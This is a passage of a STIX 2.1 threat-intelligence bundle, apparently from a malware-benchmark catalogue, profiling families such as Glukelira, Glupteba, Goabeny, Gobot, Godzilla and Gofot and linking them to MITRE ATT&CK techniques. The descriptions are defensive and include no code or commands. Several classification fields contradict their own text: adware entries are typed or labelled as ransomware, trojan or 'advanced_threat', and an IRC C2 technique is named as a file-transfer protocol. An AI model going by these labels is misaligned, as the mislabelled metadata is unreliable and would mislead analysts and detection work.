      "id": "relationship--2538af56-50b0-5efa-abd1-ecd6a3449b35",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ea2b38e7-17af-50d0-8ebf-095875ff34c5",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Glox exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6099582c-ed70-537d-a6a8-5eb15ee60428",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ea2b38e7-17af-50d0-8ebf-095875ff34c5",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Glox exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--61320b9d-f6f3-562e-a93a-7d4942cd5556",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ea2b38e7-17af-50d0-8ebf-095875ff34c5",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Glox exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--95809108-03be-5511-9d07-33bf88d38f1a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ea2b38e7-17af-50d0-8ebf-095875ff34c5",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Glox exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6759102d-9d75-5ef0-9778-8143d2de4440",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Glukelira",
      "description": "<h3>Executive Summary</h3>\nGlukelira is a pervasive family of Potentially Unwanted Programs (PUPs) and aggressive Adware designed to monetize an infected user's web browsing activity. It frequently masquerades as a legitimate browser optimization tool or necessary system utility, but its primary function is to intercept web traffic, alter browser configurations, and inject intrusive advertisements into the user's display.\n\n<h3>Distribution and Technical Behavior</h3>\nGlukelira is almost exclusively distributed via deceptive software bundling. It is commonly hidden within the \"Custom Installation\" options of free software installers downloaded from low-reputation, third-party software portals.\n\nOnce executed, Glukelira deeply integrates with the operating system and installed web browsers:\n<ul>\n<li><strong>Browser Hijacking:</strong> Glukelira aggressively alters the browser's default search engine, homepage, and new tab settings. All search traffic is redirected through an affiliate-linked search portal controlled by the adware operators, allowing them to generate illicit pay-per-click revenue.</li>\n<li><strong>Traffic Interception:</strong> The software frequently installs a local proxy server or malicious browser extensions to intercept unencrypted web traffic. It overlays legitimate websites with disruptive pop-ups, pop-unders, and sponsored in-text hyperlinks.</li>\n<li><strong>System Alteration:</strong> To ensure it remains active, Glukelira creates persistent Scheduled Tasks and modifies the Windows Registry to automatically launch its components upon system boot.</li>\n</ul>\n\n<h3>Risk Assessment</h3>\nWhile Glukelira does not actively encrypt files (like ransomware) or steal banking credentials, it introduces massive operational friction. The injected advertisements significantly degrade system performance, and the hijacked search results are frequently served by low-reputation ad networks, dramatically increasing the likelihood of \"malvertising\" attacks that can lead to severe secondary infections.\n\n<h3>Mitigation and Removal Strategies</h3>\n<ul>\n<li><strong>Endpoint Scanning:</strong> Utilize a reputable enterprise-grade anti-malware solution to perform a deep system scan, targeting the Glukelira executables, hidden scheduled tasks, and persistent registry keys.</li>\n<li><strong>Browser Remediation:</strong> Manually inspect and remove any unknown or unauthorized extensions from all installed web browsers. Perform a complete factory reset of the browsers to clear the hijacked proxy and search settings.</li>\n<li><strong>Application Control:</strong> Enforce strict application whitelisting policies to prevent standard users from executing unapproved software installers that are the primary vector for this adware.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Glukelira",
        "PUP.Glukelira",
        "BrowserModifier:Win32/Glukelira"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Glukelira",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/glukelira"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ed16f72f-4105-5bb4-913f-de5e63d5aab4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6759102d-9d75-5ef0-9778-8143d2de4440",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Glukelira exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d37511ff-4a78-52fb-bcbd-8ec54b68cf20",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6759102d-9d75-5ef0-9778-8143d2de4440",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Glukelira exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8b9ae710-ac33-5cb7-af97-6f9ab5c9bdaf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6759102d-9d75-5ef0-9778-8143d2de4440",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Glukelira exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e04ceafc-06ef-517a-a1cd-011b3d4f1703",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Glupteba",
      "description": "Glupteba (extensively researched and documented across the cybersecurity community and prominently disrupted by Google's Threat Analysis Group in December 2021 as Trojan:Win32/Glupteba, Backdoor:Win32/Glupteba, and Win32/Glupteba) is a landmark, highly sophisticated modular botnet active since 2011. Renowned for being one of the first crimeware botnets to leverage the public Bitcoin blockchain as a resilient fallback command-and-control mechanism, Glupteba regularly reads OP_RETURN data from specific Bitcoin wallet transactions to dynamically retrieve updated C2 server domain names and IP addresses, bypassing traditional DNS takedowns and IP blacklisting. Glupteba targets Windows endpoints, enterprise networks, and MikroTik routers, deploying modular capabilities including illicit cryptocurrency mining (Monero), stealing browser credentials and cookies, establishing residential proxy networks, launching distributed denial-of-service (DDoS) attacks, and deploying a signed vulnerable driver (a rootkit technique known as BYOVD - Bring Your Own Vulnerable Driver) to terminate endpoint security processes. (Observed samples in benchmark: 32)",
      "is_family": true,
      "malware_types": [
        "bot"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Glupteba",
        "Backdoor:Win32/Glupteba",
        "Win32/Glupteba",
        "Trojan.Glupteba",
        "Glupteba Botnet",
        "Backdoor.Win32.Glupteba"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Glupteba",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/glupteba"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "https://www.cisa.gov"
        }
      ],
      "labels": [
        "botnet",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--aa91f634-0ffb-56a7-a8f8-1ef8cc2481b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Goabeny",
      "description": "Trojan:Win32/Goabeny is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Goabeny</b><br>To an end-user, a Goabeny infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Goabeny is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Goabeny is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Goabeny frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Goabeny reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Goabeny",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/goabeny"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--812e019c-ecec-5357-b9f8-16aa218a7786",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aa91f634-0ffb-56a7-a8f8-1ef8cc2481b3",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Goabeny exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bd95e678-d73e-5e7b-94f2-01fa74afc6cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aa91f634-0ffb-56a7-a8f8-1ef8cc2481b3",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Goabeny exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d0037b26-5069-58c3-91ae-266acc3be80f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aa91f634-0ffb-56a7-a8f8-1ef8cc2481b3",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Goabeny exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8a424935-cc50-5e75-b0f1-4fcb56e5242e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aa91f634-0ffb-56a7-a8f8-1ef8cc2481b3",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Goabeny exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--73ec3e87-fae5-5eb5-ab27-b36d8ff649c4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aa91f634-0ffb-56a7-a8f8-1ef8cc2481b3",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Goabeny exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--522b3840-5666-536e-9a8b-6588be2205da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gobot",
      "description": "Backdoor:Win32/Gobot is an older, but persistent, Remote Access Trojan (RAT) and Botnet agent that relies on the Internet Relay Chat (IRC) protocol for Command and Control (C2). While IRC-based botnets are considered somewhat legacy compared to modern HTTP/S or peer-to-peer (P2P) architectures, Gobot is still utilized by lower-tier threat actors and script kiddies to assemble botnets for Distributed Denial of Service (DDoS) attacks and cryptocurrency mining.<br><br><b>Understanding Gobot (IRC Botnets)</b><br>To an end-user, a Gobot infection might cause unexplained high CPU usage or slow internet speeds. For a security analyst, Gobot represents a noisy, relatively unsophisticated intrusion. Its reliance on IRC (`T1071.002`) makes it highly visible to Network Intrusion Detection Systems (NIDS) and straightforward to block, provided the network boundary is adequately monitored.<br><br><b>Execution and Botnet Mechanics</b><br>Gobot is typically distributed via drive-by downloads or cracked software installers. Upon execution (`T1204.002`), it establishes persistence, often simply by dropping a copy of itself into the Startup folder or modifying the `Run` registry key (`T1547.001`). The malware then connects to a hardcoded IRC server and joins a specific, hidden channel, waiting for commands from the botmaster. It is capable of receiving commands to download and execute secondary payloads (`T1105`), launch volumetric DDoS attacks (like SYN floods or UDP floods) (`T1498.001`), or act as a proxy for the attacker.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the conscription of the endpoint into a criminal botnet and potential network degradation due to DDoS traffic. Host-based IoCs include the presence of anomalous executables in the `Startup` folder and EDR alerts for known Gobot process signatures. Network IoCs are highly distinct: consistent outbound traffic on standard (TCP 6667) or non-standard ports utilizing the cleartext IRC protocol, often directed to dynamic DNS domains or known bulletproof hosting providers. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gobot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gobot"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--aa418889-2105-5889-96f6-4224121989df",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1071.002: Application Layer Protocol: File Transfer Protocols (Use of IRC for C2)",
      "description": "MITRE ATT&CK Technique T1071.002 (Application Layer Protocol: File Transfer Protocols (Use of IRC for C2)) under tactic Command and Control.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1071.002",
          "url": "https://attack.mitre.org/techniques/T1071/002/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--099d8e60-4f2d-58cd-957b-63945c4a1b1e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--522b3840-5666-536e-9a8b-6588be2205da",
      "target_ref": "attack-pattern--aa418889-2105-5889-96f6-4224121989df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gobot exhibits technique T1071.002 (Application Layer Protocol: File Transfer Protocols (Use of IRC for C2))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cdbbd5cd-d386-5023-9de8-0b4e0b2ef426",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--522b3840-5666-536e-9a8b-6588be2205da",
      "target_ref": "attack-pattern--de90bafb-778c-5ec0-a6f3-6def0998c61c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gobot exhibits technique T1498.001 (Network Denial of Service: Direct Network Flood)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a470df3c-2204-54d5-98d5-515184bead66",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--522b3840-5666-536e-9a8b-6588be2205da",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gobot exhibits technique T1547.001 (Boot or Logon Autostart Execution)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f714b94a-b1ee-5207-9aa9-5a3201c76acd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--522b3840-5666-536e-9a8b-6588be2205da",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gobot exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ad7a301a-6a5d-5529-9b44-0a0c40326c6a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gocloudnet",
      "description": "Adware:Win32/Gocloudnet is an intrusive adware component designed to forcibly alter a user's web browsing experience. It manipulates browser settings to redirect search queries, injects unwanted advertisements into webpages, and tracks user browsing behavior to generate illicit Pay-Per-Click (PPC) revenue for its creators.<br><br><b>Understanding Gocloudnet</b><br>To an end-user, Gocloudnet manifests as a sudden, unwanted change to their browser's homepage, new tab page, and the appearance of unremovable toolbars or persistent pop-up ads. For a security team, it represents a breakdown in endpoint hygiene and a potential vector for more serious infections via malvertising (malicious advertisements).<br><br><b>Execution and Hijacking Mechanics</b><br>Gocloudnet is typically distributed via deceptive software bundles, fake software updates, or malicious browser extensions downloaded from third-party sites (`T1189`). Upon execution, it modifies the Windows Registry (`T1112`) and browser configuration files (e.g., Chrome's `Preferences` file or Firefox's `prefs.js`) to enforce its settings (`T1562.001`). It installs persistent browser extensions or Browser Helper Objects (BHOs) (`T1176`) to monitor searches and ensure the hijacking cannot be easily reversed by the user. These extensions locally intercept web traffic to inject sponsored links directly into the DOM of legitimate websites.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience, potential privacy violations (tracking of search queries), and exposure to potentially malicious ads. Host-based IoCs include EDR alerts for modifications to browser shortcut properties, unexpected additions to browser extension directories, or anomalous BHO registrations in the Registry. Network IoCs include DNS queries resolving to adware tracking infrastructure and redirected search traffic containing tracking parameters. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gocloudnet",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gocloudnet"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d1eac839-8916-587f-ae77-e7d554f15754",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad7a301a-6a5d-5529-9b44-0a0c40326c6a",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gocloudnet exhibits technique T1176 (Browser Extensions (Installing malicious toolbars/BHOs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8fa27e8d-1492-5484-ab63-af8dc475cc42",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad7a301a-6a5d-5529-9b44-0a0c40326c6a",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gocloudnet exhibits technique T1112 (Modify Registry (Changing default search/homepage keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--131f2ab9-a55f-550e-9da4-8a1716f58f56",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad7a301a-6a5d-5529-9b44-0a0c40326c6a",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gocloudnet exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0a06505e-abe5-5c43-ae3b-09ffb3867ba5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad7a301a-6a5d-5529-9b44-0a0c40326c6a",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gocloudnet exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3dfee21c-8028-5caf-94f0-48dd000445fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Godzilla",
      "description": "Godzilla (cataloged across cybersecurity advisories under signatures including Backdoor:Java/Godzilla, Backdoor:ASP/Godzilla, Backdoor:PHP/Godzilla, and Trojan:Win32/Godzilla) is a landmark dynamic cross-platform webshell and post-exploitation implant framework created by Chinese security researchers and extensively adopted by APT espionage actors and cybercrime syndicates since 2020. Designed to provide covert, persistent server access, Godzilla encrypts and decrypts all network command traffic dynamically using AES and custom obfuscation algorithms based on pre-shared secret keys. The Godzilla manager client supports dynamic memory injection, JVM/CLR class loading without touching disk, interactive shell access, file management, database manipulation, internal network proxy pivoting, and bypass of modern Web Application Firewalls (WAF) and EDR memory inspection. (Observed samples in benchmark: 25)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor:Java/Godzilla",
        "Backdoor:ASP/Godzilla",
        "Backdoor:PHP/Godzilla",
        "Godzilla Webshell",
        "Trojan:Win32/Godzilla"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Godzilla",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/godzilla"
        }
      ],
      "labels": [
        "webshell",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1b7eb4d6-2b3b-5f5c-82ac-2bd56cd8ae60",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gofot",
      "description": "Gofot (cataloged across security vendors under signatures including TrojanDownloader:Win32/Gofot, Trojan:Win32/Gofot.A, and Trojan.Win32.Gofot) is a stealthy modular trojan downloader active since 2013. Designed to act as an initial access bridgehead for cybercriminal operations, Gofot is commonly distributed through malicious spam campaigns carrying weaponized attachments (such as password-protected ZIP archives or macro-enabled documents) and drive-by web exploit kits. Upon execution, Gofot implements aggressive anti-analysis routines, querying system uptime, screen resolution, and debugging hooks to detect sandbox and virtual machine analysis environments. Once verified in a production host, Gofot drops a lightweight binary into %TEMP% or %LOCALAPPDATA%, secures autostart persistence via Registry Run keys, and injects downloader code into trusted Windows system processes (such as explorer.exe or svchost.exe). The trojan initiates encrypted HTTP/HTTPS beaconing to remote command-and-control servers, securely retrieving and launching secondary payloads including banking trojans, information stealers, and ransomware. (Observed samples in benchmark: 147)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "TrojanDownloader:Win32/Gofot",
        "Trojan:Win32/Gofot.A",
        "Trojan.Win32.Gofot",
        "Win32/Gofot",
        "Trojan.Gofot"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gofot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gofot"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2daaca8b-3e8c-52d8-bab1-642ed691519e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b7eb4d6-2b3b-5f5c-82ac-2bd56cd8ae60",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gofot exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--48c2dab9-6354-58e2-a76e-6ed05fbda20a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b7eb4d6-2b3b-5f5c-82ac-2bd56cd8ae60",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gofot exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--596e96ff-f7d0-5ccc-8ee1-aeaceed7a898",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b7eb4d6-2b3b-5f5c-82ac-2bd56cd8ae60",
      "target_ref": "attack-pattern--aa0c4501-5d70-5f02-83ed-46c2180b3277",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gofot exhibits technique T1497.001 (Virtualization/Sandbox Evasion: System Checks)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--99e95622-147f-5bbd-818f-dde7599155a4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b7eb4d6-2b3b-5f5c-82ac-2bd56cd8ae60",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gofot exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ff18e94e-1a32-54f1-bbc0-68d28ddb7aac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b7eb4d6-2b3b-5f5c-82ac-2bd56cd8ae60",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gofot exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--52902a41-b950-5485-b2a3-ac9d0f917cb6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gojdu",
